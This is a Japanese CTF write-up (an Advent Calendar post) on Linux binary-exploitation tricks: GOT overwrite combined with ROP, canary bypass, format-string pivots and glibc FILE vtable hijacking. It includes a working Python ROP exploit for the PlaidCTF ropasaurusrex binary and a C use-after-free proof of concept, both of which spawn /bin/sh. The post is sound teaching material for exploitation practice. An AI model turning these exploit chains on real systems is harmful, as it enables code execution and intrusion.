この記事は「CTF Advent Calendar 2016」17日目の記事です。
ちょいちょい見かけてはいるのだが、実戦でよく忘れてしまうので応用の効きそうなものをまとめておく。
ROPからのGOT overwrite
単純なROP問題の場合、GOTに置かれた関数アドレスを読み出した後offsetからsystem関数のアドレスを計算し、それを用いてsystem("/bin/sh")を呼ぶという流れになる。
最後の部分はStack pivotでやってもよいのだが、Full-RELROでない場合、すなわちGOTの書き換えができる場合はGOT overwriteしてPLT経由で呼んだほうが楽である。
x86でROPするだけで200点取ることができた、古きよき時代のropasaurusrex (PlaidCTF 2013)でやると次のようになる。
from minipwn import *
s = connect_process(['./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d'])
"""
0804830c <write@plt>:
804830c: ff 25 14 96 04 08 jmp DWORD PTR ds:0x8049614
8048312: 68 08 00 00 00 push 0x8
8048317: e9 d0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>
0804832c <read@plt>:
804832c: ff 25 1c 96 04 08 jmp DWORD PTR ds:0x804961c
8048332: 68 18 00 00 00 push 0x18
8048337: e9 b0 ff ff ff jmp 80482ec <__gmon_start__@plt-0x10>
80484b6: 5e pop esi
80484b7: 5f pop edi
80484b8: 5d pop ebp
80484b9: c3 ret
"""
plt_write = 0x804830c
plt_read = 0x804832c
got_write = 0x8049614
addr_pop3 = 0x80484b6
buf = 'A' * 140
buf += p32(plt_write) + p32(addr_pop3) + p32(1) + p32(got_write) + p32(4)
buf += p32(plt_read) + p32(addr_pop3) + p32(0) + p32(got_write) + p32(12)
buf += p32(plt_write) + 'AAAA' + p32(got_write+4)
sendline(s, buf)
"""
$ ldd ./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d
linux-gate.so.1 => (0xf77b1000)
libc.so.6 => /lib32/libc.so.6 (0xf75ef000)
/lib/ld-linux.so.2 (0x56637000)
$ nm -D /lib32/libc.so.6 | grep -e write -e system
0003a920 W system
000d4490 W write
"""
data = s.recv(8192)
addr_write = u32(data)
print "[+] addr_write = %x" % addr_write
addr_system = addr_write - 0xd4490 + 0x3a920
s.sendall(p32(addr_system) + '/bin/sh\x00')
interact(s)
$ python solve.py [+] addr_write = f7679490 id uid=1000(user) gid=1000(user) groups=1000(user)
Stack pivotしなくてよいので簡単になった。
x64の場合は引数をrdiレジスタに入れる必要があるが、libc_csu_init gadgetや適当なPLTをcallしている箇所を使うことでなんとでもなる。
GOT overwriteからのROP
逆に、GOT overwriteや関数ポインタ書き換えからpop-pop-ret gadgetなどに飛ばすことで、スタック上のバッファに置いたROP chainに繋げるという手法も知られている。
スタック上のバッファに読み込む箇所(read(0, local_buf, 1000)など)に飛ばしてリターンアドレスを書き換え、無理やりROPに持っていくという手法もある。
多くの場合stack canaryのチェックがあるが、前もって__stack_chk_failのGOTをret gadgetなどに書き換えておけば通過できる。
GOT overwriteからのFormat String Attack
任意の入力を与えることができるatoi(buf)のような関数のGOTをprintf系関数に書き換えることで、無理やりFormat String Attackに持っていくことができる。
これにより、スタック上に置かれたlibcやスタック、ヒープのアドレスをリークして、ASLRを回避できる。
stdin/stdout/stderr書き換えからのEIP奪取
ソースコード中に次のような処理が存在する場合、実行ファイルのbss上にstdin/stdout/stderrへのポインタが置かれる。
$ cat test.c
#include <stdio.h>
int main()
{
char buf[100];
fprintf(stderr, "stdin=%p, stdout=%p, stderr=%p\n", &stdin, &stdout, &stderr);
fgets(buf, 100, stdin);
fputs(buf, stdout);
return 0;
}
$ gcc test.c -o test
$ ./test
stdin=0x601070, stdout=0x601060, stderr=0x601080
AAAA
AAAA
これらのポインタは_IO_FILE_plus構造体を指しており、この構造体は関数テーブルへのポインタ(vtable)を持っている。 したがって、bss上のポインタを適当なバッファを指すように書き換え、fgets等が呼ばれる際に参照される関数テーブル内のポインタをコントロールすれば、任意のアドレスに飛ばすことができる。
- File Stream Pointer Overflows Paper.
- abusing the FILE structure « codeblog
- katagaitai CTF勉強会 #2 pwnables編 - PlaidCTF 2013 pwn200 ropasaurusrex (pp.203-204)
なお、fopen関数が返すポインタも実体は_IO_FILE_plus構造体なので、use-after-freeと組み合わせることで同様にEIP奪取ができる。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void wontcall()
{
system("false");
}
int main()
{
char *p1 = malloc(0x220);
printf("p1 = %p\n", p1);
free(p1);
FILE *fp = fopen("/etc/passwd", "r");
printf("fp = %p\n", fp);
void *got_system = 0x601028;
memset(p1, 'A', 0xd8);
strcpy(p1, "\x01\x80;/bin/sh"); /* _IO_FILE_plus.file._flags == _IO_USER_LOCK */
*(void **)(p1+0xd8) = got_system-0x10; /* _IO_FILE_plus.vtable->__finish == got_system */
fclose(fp);
return 0;
}
$ gcc uaf-fopen.c -o uaf-fopen
uaf-fopen.c: In function ‘main’:
uaf-fopen.c:19:24: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
void *got_system = 0x601028;
^
$ ldd ./uaf-fopen
linux-vdso.so.1 => (0x00007ffeff303000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f792b872000)
/lib64/ld-linux-x86-64.so.2 (0x000055f30352e000)
$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
(snip)
$ ./uaf-fopen
p1 = 0x1234010
fp = 0x1234010
sh: 1: �: not found
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$
Segmentation fault (core dumped)
なお、glibc 2.24以降ではチェックが加えられているらしい。